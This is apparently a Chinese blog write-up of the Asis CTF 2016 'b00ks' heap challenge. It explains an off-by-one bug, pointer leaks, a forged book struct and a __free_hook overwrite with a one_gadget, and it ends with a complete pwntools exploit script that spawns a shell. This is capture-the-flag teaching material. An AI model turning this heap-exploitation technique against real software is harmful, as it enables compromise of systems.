Asis CTF 2016 b00ks

自己做的第一个堆题,复现了很久,遇到了各种问题。希望这篇博客写的详细一点,能够把自己遇到的坑都写出来。

题目链接

分析源码

先运行一下,可以知道这是一个图书管理系统,下面主要分析一下各个功能的源码

Welcome to ASISCTF book library
Enter author name: hihih

1.Create a book
2.Delete a book
3.Edit a book
4.Print book detail
5.Change current author name
6.Exit
> 

1. author name所使用的输入函数 sub_5651498C19F5 是自己定义的,而就是这个函数存在 off_by_one 漏洞。

  for ( i = 0; ; ++i )
  {
    if ( (unsigned int)read(0, buf, 1uLL) != 1 )
      return 1LL;
    if ( *buf == 10 )
      break;
    ++buf;
    if ( i == a2 ) /*a2=20h,效果1:当我们输入‘a’*32时,会额外输入一个 0x00,多覆盖一
    个bit位,达到修改内存的目的;效果2:我们输入内容将0x00覆盖,当输出‘a’*32字符串时,将
    会把后面跟着的数据一起输出出来,达到泄露内存的目的*/
      break;
  }

2. book struct


struct{
int id
char* name
char* description
int size
}
/*这里给大家解释一下为什么汇编中为什么最后的size存放的位置是v4+6
*((_DWORD *)v4 + 6) = v2;size
*((_QWORD *)v4 + 2) = v6;description
*((_QWORD *)v4 + 1) = ptr;name
*(_DWORD *)v4 = ++unk_565149AC3024;id
*/
这里面涉及到一个内存对齐的概念,因为这是一个64位的程序,机器字长为8个字节,id是int型数
据,存入堆中只存了4字节。而接下来存的name是一个指针类型数据,在64位系统中是8字节,不能
把name指针拆成两半,如果拆开的话还要再次组合对于底层硬件来说是一个复杂的事。所以为了进
一步提高速度,将那么指针放入了后面新的8字节。这样一来就空出了4字节。
*((_DWORD *)v4 + 6) = *((void *)v4 + 24) = v2;size
*((_QWORD *)v4 + 2) = *((void *)v4 + 16) = v6;description
*((_QWORD *)v4 + 1) = *((void *)v4 + 8) = ptr;name
*(_DWORD *)v4 = *(void *)v4 = ++unk_565149AC3024;id

3. create book

  printf("\nEnter book name size: ", *(_QWORD *)&v2);
  __isoc99_scanf("%d", &v2);
  		...
  printf("Enter book name (Max 32 chars): ", &v2);
  ptr = malloc(v2);
  if ( (unsigned int)sub_5651498C19F5(ptr, v2 - 1) )
  		...
  printf("\nEnter book description size: ", *(_QWORD *)&v2);
  __isoc99_scanf("%d", &v2);
  		...
  v6 = malloc(v2);
  		...
  printf("Enter book description: ", &v2);
  v0 = v6;
  if ( (unsigned int)sub_5651498C19F5(v6, v2 - 1) )
  		...

可以看出namedescription都是存在堆中,而且用的是用户自己定义的输入函数。接下来我们就要对利用过程进行构想了

1.输入author name

要达到利用的目的,我们必须要输入32 bit 长度,才能在之后进行利用

2.create book

create两个book,
createbook(0x80,“a”,0x70,“a”)
createbook(0x21000,“a”,0x21000,“b”)
第一个book description通过布局能够达到任意写,从而修改第二个book struct数据,最终达到执行one_gadget的目的。至于为什么是在description中布局,我们稍后再揭晓。

3.print book1

author name存放在off_565149AC3018
book struct 指针存放在off_565149AC3010 + v3
我们用ida动态跟一下,就能发现,book struct 指针是紧挨着author name存放的。

0000557F587D1040  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0000557F587D1050  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0000557F587D1060  30 F1 B9 59 7F 55 00 00  60 F1 B9 59 7F 55 00 00  0....U..`....U..

我们这样就可以把struct book1 和 struct book2 的指针泄露了

4.edit book1 description

我们利用0x000x0000557F587D1060处的 0x30 覆盖后,存的 struct book1 指针就由指向0x0000557F59B9F130变成了指向0x0000557F59B9F100,而0x0000557F59B9F100处于struct book1 的description范围内,所以我们可以在book1 description中提前布置好fake book struct从
达到这样一个效果

0000557F59B9F0D0  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
0000557F59B9F0E0  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
0000557F59B9F0F0  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
0000557F59B9F100  01 00 00 00 00 00 00 00  68 F1 B9 59 7F 55 00 00  ........h....U..
0000557F59B9F110  70 F1 B9 59 7F 55 00 00  FF FF 00 00 00 00 00 00  p....U..........
0000557F59B9F120  00 00 00 00 00 00 00 00  31 00 00 00 00 00 00 00  ........1.......
0000557F59B9F130  01 00 00 00 00 00 00 00  20 F0 B9 59 7F 55 00 00  ........ ....U..
0000557F59B9F140  B0 F0 B9 59 7F 55 00 00  70 00 00 00 00 00 00 00  .....U..p.......
0000557F59B9F150  00 00 00 00 00 00 00 00  31 00 00 00 00 00 00 00  ........1.......
0000557F59B9F160  02 00 00 00 00 00 00 00  10 C0 E8 90 50 7F 00 00  ............P...
0000557F59B9F170  10 A0 E6 90 50 7F 00 00  00 10 02 00 00 00 00 00  ................
0000557F59B9F180  00 00 00 00 00 00 00 00  81 0E 02 00 00 00 00 00  ................

这样我们就能通过edit函数来修改struct book2 中的description 和name指针了

5.change author name

既用0x00覆盖0x30,

6.print book2

通过print book1 name 和description,将struct book2中的description 和name指针泄露出来。
为什么要泄露出这两个指针,这和我们的下一步利用密切相关,因为我们需要知道libc 地址,而mmap分配的内存和libc存在固定偏移,所以我们只需要把固定偏移求出来即可。而堆内存分配原则一种是 brk 会直接拓展原来的堆,另一种是 mmap 会单独映射一块内存。当我们申请一块超大内存时,则会使用mmap函数,所以在申请book2 description 和name时,size=0x21000

0000557F59B9E000 ; ===========================================================================
[heap]:0000557F59B9E000
[heap]:0000557F59B9E000 ; [00022000 BYTES: COLLAPSED SEGMENT _heap_. PRESS CTRL-NUMPAD+ TO EXPAND]
libc_2.23.so:00007F50908D8000 ; ===========================================================================
libc_2.23.so:00007F50908D8000
libc_2.23.so:00007F50908D8000 ; Segment type: Pure code
libc_2.23.so:00007F50908D8000 ; Segment permissions: Read/Execute

description_libc offset=0x00007F5090E6A010 - 0x00007F50908D8000= 0x592010

7.edit book1 ,book2

通过edit book1 description,将__free_hook 写入book2 description
然后edit book2 description,将one_gadget 写入 __free_hook,当__free_hook内容不为NULL时,执行其内容,既one_gadget

xxx@ubuntu:~/Documents/heap/b00k$ one_gadget /lib/x86_64-linux-gnu/libc.so.6 
0x45216	execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a	execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4	execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147	execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

8.free

exp(exp大部分都是参考了ctf-wiki 链接)


from  pwn import *
context.log_level="info"

binary=ELF("b00ks")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
io=process("./b00ks")
#raw_input()

def createbook(name_size,name,des_size,des):
    io.readuntil("> ")
    io.sendline("1")
    io.readuntil(": ")
    io.sendline(str(name_size))
    io.readuntil(": ")
    io.sendline(name)
    io.readuntil(": ")
    io.sendline(str(des_size))
    io.readuntil(": ")
    io.sendline(des)

def printbook(id):
    io.readuntil("> ")
    io.sendline("4")
    io.readuntil(": ")
    for i in range(id):
        book_id=int(io.readline()[:-1])
        io.readuntil(": ")
        book_name=io.readline()[:-1]
        io.readuntil(": ")
        book_des=io.readline()[:-1]
        io.readuntil(": ")
        book_author=io.readline()[:-1]
    return book_id,book_name,book_des,book_author

def createname(name):
    io.readuntil("name: ")
    io.sendline(name)

def changename(name):
    io.readuntil("> ")
    io.sendline("5")
    io.readuntil(": ")
    io.sendline(name)

def editbook(book_id,new_des):
    io.readuntil("> ")
    io.sendline("3")
    io.readuntil(": ")
    io.writeline(str(book_id))
    io.readuntil(": ")
    io.sendline(new_des)

def deletebook(book_id):
    io.readuntil("> ")
    io.sendline("2")
    io.readuntil(": ")
    io.sendline(str(book_id))

createname("A"*32)
createbook(128,"a",0x70,"a")
createbook(0x21000,"a",0x21000,"b")

book_id_1,book_name,book_des,book_author=printbook(1)
book1_addr=u64(book_author[32:32+6].ljust(8,'\x00'))
log.success("book1_address:"+hex(book1_addr))

payload='a'*0x50+p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x40)+p64(0xffff)
editbook(book_id_1,payload)

changename("A"*32)
book_id_1,book_name,book_des,book_author=printbook(1)
book2_name_addr=u64(book_name.ljust(8,"\x00"))
book2_des_addr=u64(book_des.ljust(8,"\x00"))
log.success("book2 name addr:"+hex(book2_name_addr))
log.success("book2 des addr:"+hex(book2_des_addr))

libc_base=book2_des_addr-0x592010
log.success("libc base:"+hex(libc_base))
free_hook=libc_base+libc.symbols["__free_hook"]
one_gadget=libc_base+0x4526a#0x45216#0xf1147#0xf02a4#
log.success("free_hook:"+hex(free_hook))
log.success("one_gadget:"+hex(one_gadget))
editbook(1,p64(free_hook))
editbook(2,p64(one_gadget))

deletebook(2)
io.interactive()
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值